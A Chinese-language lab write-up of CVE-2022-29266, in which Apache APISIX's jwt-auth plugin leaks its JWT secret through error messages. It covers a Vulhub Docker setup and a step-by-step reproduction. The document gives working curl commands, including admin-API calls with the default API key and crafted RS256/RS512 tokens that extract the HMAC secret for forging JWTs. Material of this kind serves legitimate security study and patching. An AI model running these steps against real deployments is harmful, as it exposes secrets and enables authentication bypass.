登录 白背景

Apache APISIX jwt-auth 插件存在 JWT sceret 泄漏 CVE-2022-29266

漏洞描述

在 2.13.1 之前的 Apache APISIX 中,由于 APISIX 中的 jwt-auth 插件依赖于 lua-resty-jwt 库,而在 lua-resty-jwt 库返回的错误信息中可能会包含 JWT 的 sceret 值,因此对于开启了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露,从而造成对 JWT 的伪造风险。

参考链接:

漏洞影响

Apache Apisix < 2.13.1

环境搭建

Vulhub 启动一个 Apache APISIX 2.11.0 环境。docker-compose.yml 如下:

version: "2"

services:
  apisix:
    image: vulhub/apisix:2.11.0
    volumes:
      - ./config.yml:/usr/local/apisix/conf/config.yaml:ro
    depends_on:
      - etcd
    ports:
      - "9080:9080"
      - "9091:9091"
      - "9443:9443"
  etcd:
    image: bitnami/etcd:3.4.15
    environment:
      ETCD_ENABLE_V2: "true"
      ALLOW_NONE_AUTHENTICATION: "yes"
      ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379"
      ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379"
    ports:
      - "2379:2379/tcp"
docker-compose up -d

环境启动后,访问 http://your-ip:9080 即可查看到默认的 404 页面。

前置知识

JWT 的全称是 Json Web Token,是一种基于 JSON 的、用于在网络上声明某种主张的令牌(token)规范。JWT 通常由 Header、Payload、Signature 三部分组成,格式如下:

Header.Payload.Signature

JWT 的第三部分 Signature 是对 Header 和 Payload 部分的签名,起到防止数据篡改的作用,如果知道了 Signature 内容,那么就可以伪造 JWT 了。

JWT Signature 的 HS256 和 RS256 算法如下:

# HS256
signature = HMACSHA256( base64UrlEncode(header) + "." +base64UrlEncode(payload), secret );
   
# RS256   
signature = RSASHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload), publicKey, privateKey)

其中,生成 RS256 公钥和私钥:

# 生成私钥
openssl genrsa -out private.key 2048
# 生成公钥
openssl rsa -in private.key -pubout -out public.key

漏洞复现

在 jwt.io 生成一个 RS256 算法的 JWT 值。Payload 改为以下内容:

{"key": "test-key"}

此处 Payload 中的 key 值需要和下面创建 consumer 对象时的 key 一致,生成的 JWT 值如下:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJ0ZXN0LWtleSJ9.stLb58YP5evXquu2ObWZG30MKHGAvAdQXrADdJK42BSVonFVkwK5cF4kora0UkzlnKjpUYCRfwF75Hdl4XOlrV7_MkVJfkZTpSlRmKIPCKN2JDqgsuK9TPrkjjGQzF91sA_7sx0QsL-hbmtjdfaizvhN0-2XGKzVEWiGuoOPK7pw22vEgXr-k4CddDORyaPVms5D1au92FAxmwH8sXRGydVSpBMfj70RQzcdO-qg6k1VODE8LP4Bcv8FJ153PRv1LuCMP1aeqPgXOBp8tXay4OAMGcKJSiMVwnD_sJ4lEGjVEhGQUuYhw7PNrakh6c_oza3ID7W9Bn6mWhagpVfkqA

创建一个 consumer 对象,并设置 jwt-auth 的值,默认是 HS256 算法,secret 值为 threekiii-secret-key

curl http://your-ip:9080/apisix/admin/consumers -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"username": "threekiii",
"plugins": {
"jwt-auth": {
"key": "test-key",
"secret": "threekiii-secret-key"
}
}
}'

然后再创建路由对象,并开启 jwt-auth 插件:

curl http://your-ip:9080/apisix/admin/routes/1 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
"methods": ["GET"],
"uri": "/index.html",
"plugins": {
"jwt-auth": {}
},
"upstream": {
"type": "roundrobin",
"nodes": {
"0.0.0.0:80": 1
}
}
}'

当启用了 jwt-auth 插件后,会增加 /apisix/plugin/jwt/sign 这个接口,访问这个 api,可以获取到认证 token:

curl http://your-ip:9080/apisix/plugin/jwt/sign?key=test-key -i

将刚才由 RS256 算法生成的 JWT 值发送给 HS256 算法验证的路由,这样就可以获得刚才设置的 secret 值了:

curl http://your-ip:9080/index.html?jwt=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJ0ZXN0LWtleSJ9.stLb58YP5evXquu2ObWZG30MKHGAvAdQXrADdJK42BSVonFVkwK5cF4kora0UkzlnKjpUYCRfwF75Hdl4XOlrV7_MkVJfkZTpSlRmKIPCKN2JDqgsuK9TPrkjjGQzF91sA_7sx0QsL-hbmtjdfaizvhN0-2XGKzVEWiGuoOPK7pw22vEgXr-k4CddDORyaPVms5D1au92FAxmwH8sXRGydVSpBMfj70RQzcdO-qg6k1VODE8LP4Bcv8FJ153PRv1LuCMP1aeqPgXOBp8tXay4OAMGcKJSiMVwnD_sJ4lEGjVEhGQUuYhw7PNrakh6c_oza3ID7W9Bn6mWhagpVfkqA -i

当拿到这个 sceret 值后,就可以伪造 JWT Token 了。

同样,使用 RS512 算法也能触发这个漏洞。在 jwt.io 上生成 RS512 的 JWT 值如下:

eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJ0ZXN0LWtleSJ9.OJb_ZfTWdb8PvVWBjsFssyIIBfGhqfoR16FzNFzA4hxqpAqcoIzF_yBja6RWOH6jWCrtuPViLwkmMEjU1HZ_UFaKKFAuHiYe9w7aOrV5eWnI9XmpYJUlXwV_2EveaRa9y0pjPu2miqeemPTZXGlK28aqt9idmWySIsqgEwjpzrqHnej9opoJcZ1kBOdm-ED3MMi8-dDE2CqaC1JqIJsVz3_9a1FoYJLwwugTD1msUIdQ9DTRskgcPBj2KPvPx6hHO-gjMVxTvpXIyjjzFfomWxvsOdhjxd342PJOWcWkEO7n0G4NV2weIhQbyLUiPRHEE7QPaxNxcA9-43jk9TR5_g

将由 RS512 算法生成的 JWT 值也可以触发漏洞,获得 secret 值:

curl http://your-ip:9080/index.html?jwt=eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJ0ZXN0LWtleSJ9.OJb_ZfTWdb8PvVWBjsFssyIIBfGhqfoR16FzNFzA4hxqpAqcoIzF_yBja6RWOH6jWCrtuPViLwkmMEjU1HZ_UFaKKFAuHiYe9w7aOrV5eWnI9XmpYJUlXwV_2EveaRa9y0pjPu2miqeemPTZXGlK28aqt9idmWySIsqgEwjpzrqHnej9opoJcZ1kBOdm-ED3MMi8-dDE2CqaC1JqIJsVz3_9a1FoYJLwwugTD1msUIdQ9DTRskgcPBj2KPvPx6hHO-gjMVxTvpXIyjjzFfomWxvsOdhjxd342PJOWcWkEO7n0G4NV2weIhQbyLUiPRHEE7QPaxNxcA9-43jk9TR5_g -i

漏洞修复

目前厂商已发布升级补丁以修复漏洞,补丁获取链接: https://lists.apache.org/thread/6qpfyxogbvn18g9xr8g218jjfjbfsbhr